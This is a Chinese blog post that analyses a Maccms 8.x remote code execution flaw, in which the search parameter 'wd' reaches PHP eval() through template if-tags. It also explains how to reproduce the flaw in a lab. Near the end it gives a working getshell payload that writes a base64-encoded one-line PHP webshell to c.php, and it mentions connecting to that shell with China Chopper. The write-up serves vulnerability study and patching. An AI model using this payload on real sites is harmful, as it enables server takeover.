Maccms8.x 命令执行漏洞分析

这里写图片描述

1. 漏洞描述

  • 漏洞简述: Maccms搜索页面搜索输入参数过滤不严谨导致前台命令执行可getshell
  • 影响版本: Maccms8.x

2. 漏洞简介

  魅魔电影程序(Maccms PHP)是一套采用PHP/MySQL数据库运行的全新且完善的强大视频电影系统。完美支持众多视频网站和高清播放器(youku,tudou,qvod,gvod等),完全免费开源。

  该漏洞主要的产生原因是CMS搜索页面搜索参数过滤不严导致直接eval执行PHP语句。

3. 漏洞原理分析

3.1  源码分析

  首先我们通过网上已知的payload:URL:http://127.0.0.1/index.PHP?m=vod-searchPOST数据wd={if-A:print(md5(23333))}{endif-A}进行源码跟踪和调试。

这里写图片描述

首先进入index.php进行跟踪,我们可以看到代码中直接将m=vod-search参数进行拆分vod参数和search参数,vod参数是进入的文件路径,search是vod.php的一个选项。

这里写图片描述

进入\inc\module\vod.php页面继续debug,进入method=search条件语句,$wd为我们输入的参数{if-A:print(md5(23333))}{endif-A}

这里写图片描述

继续跟踪可以看到对$tp1数组进行赋值,同时加载\template\paody\html\vod_search.html:

这里写图片描述

继续跟踪\inc\module\vod.php,进行代码走读:

$db = new AppDb($MAC['db']['server'],$MAC['db']['user'],$MAC['db']['pass'],$MAC['db']['name']);
    $tpl->H = loadFile(MAC_ROOT_TEMPLATE."/vod_search.html");
    $tpl->mark();
    $tpl->pageshow();

    $colarr = array('{page:des}','{page:key}','{page:now}','{page:order}','{page:by}','{page:wd}','{page:wdencode}','{page:pinyin}','{page:letter}','{page:year}','{page:starring}','{page:starringencode}','{page:directed}','{page:directedencode}','{page:area}','{page:areaencode}','{page:lang}','{page:langencode}','{page:typeid}','{page:typepid}','{page:classid}');
    $valarr = array($tpl->P["des"],$tpl->P["key"],$tpl->P["pg"],$tpl->P["order"],$tpl->P["by"],$tpl->P["wd"],urlencode($tpl->P["wd"]),$tpl->P["pinyin"],$tpl->P["letter"],$tpl->P['year']==0?'':$tpl->P['year'],$tpl->P["starring"],urlencode($tpl->P["starring"]),$tpl->P["directed"],urlencode($tpl->P["directed"]),$tpl->P["area"],urlencode($tpl->P["area"]),$tpl->P["lang"],urlencode($tpl->P["lang"]),$tpl->P['typeid'],$tpl->P['typepid'] ,$tpl->P['classid']  );

    $tpl->H = str_replace($colarr, $valarr ,$tpl->H);

我们可以看到代码中利用$tpl->H = str_replace($colarr, $valarr ,$tpl->H);语句将$tp1->H中的

`$colarr = array('{page:des}','{page:key}','{page:now}','{page:order}','{page:by}','{page:wd}','{page:wdencode}','{page:pinyin}','{page:letter}','{page:year}','{page:starring}','{page:starringencode}','{page:directed}','{page:directedencode}','{page:area}','{page:areaencode}','{page:lang}','{page:langencode}','{page:typeid}','{page:typepid}','{page:classid}');

`

进行替换,替换后的$tpl->H值为我们之前输入的POC:

这里写图片描述

继续跟进,进入\inc\common\template.php的ifex函数:

function ifex()
        {
            if (!strpos(",".$this->H,"{if-")) { return; }
            $labelRule = buildregx('{if-([\s\S]*?):([\s\S]+?)}([\s\S]*?){endif-\1}',"is");
            preg_match_all($labelRule,$this->H,$iar);

            $arlen=count($iar[2]);

            for($m=0;$m<$arlen;$m++){
                $strn = $iar[1][$m]; //该值取的是$iar第二个数组中的值,为“A”
                $strif= asp2phpif( $iar[2][$m] ) ;//该值取的是$iar第三个数组中的值,为“print(md5(23333))”
                $strThen= $iar[3][$m];//该值取的是$iar第四个数组中的值,第一个为“”
                $elseifFlag=false;

                $labelRule2="{elseif-".$strn."";
                $labelRule3="{else-".$strn."}";

                if (strpos(",".$strThen,$labelRule2)>0){
                    $elseifArray=explode($labelRule2,$strThen);
                    $elseifArrayLen=count($elseifArray);
                    $elseifSubArray=explode($labelRule3,$elseifArray[$elseifArrayLen-1]);
                    $resultStr=$elseifSubArray[1];
                    @eval("if($strif){\$resultStr='$elseifArray[0]';\$elseifFlag=true;}");
                    if(!$elseifFlag){
                        for($elseifLen=1;$elseifLen<$elseifArrayLen-1;$elseifLen++){
                            $strElseif=getSubStrByFromAndEnd($elseifArray[$elseifLen],":","}","");
                            $strElseif=asp2phpif($strElseif);
                            $strElseifThen=getSubStrByFromAndEnd($elseifArray[$elseifLen],"}","","start");
                            $strElseifThen=str_replace("'","\'",$strElseifThen);
                            @eval("if($strElseif){\$resultStr='$strElseifThen'; \$elseifFlag=true;}");
                            if ($elseifFlag) {break;}
                        }
                    }
                    if(!$elseifFlag){
                        $strElseif0=getSubStrByFromAndEnd($elseifSubArray[0],":","}","");
                        $strElseif0=asp2phpif($strElseif0);
                        $strElseifThen0=getSubStrByFromAndEnd($elseifSubArray[0],"}","","start");
                        $strElseifThen0=str_replace("'","\'",$strElseifThen0);
                        @eval("if($strElseif0){\$resultStr='$strElseifThen0';\$elseifFlag=true;}");
                    }
                    $this->H=str_replace($iar[0][$m],$resultStr,$this->H);
                }
                else{
                    $ifFlag = false;
                    if (strpos(",".$strThen,$labelRule3)>0){
                        $elsearray=explode($labelRule3,$strThen);
                        $strThen1=$elsearray[0];
                        $strElse1=$elsearray[1];
                        @eval("if($strif){\$ifFlag=true;}else{\$ifFlag=false;}");
                        if ($ifFlag){ $this->H=str_replace($iar[0][$m],$strThen1,$this->H);} else {$this->H=str_replace($iar[0][$m],$strElse1,$this->H);}
                    }
                    else{
                        @eval("if($strif){\$ifFlag=true;}else{\$ifFlag=false;}");
                        if ($ifFlag){ $this->H=str_replace($iar[0][$m],$strThen,$this->H);} else { $this->H=str_replace($iar[0][$m],"",$this->H); }
                     }
                }
            }
            unset($elsearray);
            unset($elseifArray);
            unset($iar);
            if (strpos(",".$this->H,"{if-")) { $this->ifex(); }
        }

可以看到首先对 this>H iar[2][$m]参数是我们要执行的POC,经过asp2phpif进行过滤,这里我们看一下asp2phpif函数的源码:

function asp2phpif($str)
    {
        $str= str_replace("not","!",$str);
        $str= str_replace("==","=",$str);
        $str= str_replace("=","==",$str);
        $str= str_replace("<>","!=",$str);
        $str= str_replace("and","&&",$str);
        $str= str_replace("or","||",$str);
        $str= str_replace("mod","%",$str);
        return $str;
    }

该函数主要对他认为的参数进行替换,可以看到我们需要执行的POC并没有被过滤和替换掉。

这里写图片描述

最后我们可以看到$strif参数并没有再被过滤而是直接执行了eval函数

这里写图片描述

到这就已经debug完所有的流程,也成功的执行了命令print(md5(23333)),如图所示:

这里写图片描述

4. 靶场环境搭建

4.1 环境源码下载

通过github下载Maccms8.x源码https://github.com/yaofeifly/Maccms8.x

4.2 安装Maccms

  • 在Linux下直接安装Apache+Mysql+php环境,然后将源码导入到/var/www/html文件夹下。
  • 启动Apache服务,在浏览器直接访问Maccms路径,进入安装页面。配置好CMS需要的环境

这里写图片描述

  • 配置好数据连接,用户设置等,直接安装即可
  • 访问http://localhost/maccms8/成功出现CMS首页。安装成功

4.3 漏洞复现(getshell)

1.访问Maccms网站,进入search页面。

2.利用Firefox浏览器发送POST数据包或直接用Python编写脚本进行发送POST数据包

3.构造一句话木马payload:

wd={if-A:print(fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29)}{endif-A}

进行攻击,该payload是直接生成一个c.php一句话木马文件,连接密码为c。

这里写图片描述

4.菜刀或直接用Firefox连接一句话,执行命令。

这里写图片描述

5. 修复意见

  升级Maccms8.x到最新版本,或手动添加规则过滤非法字符。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值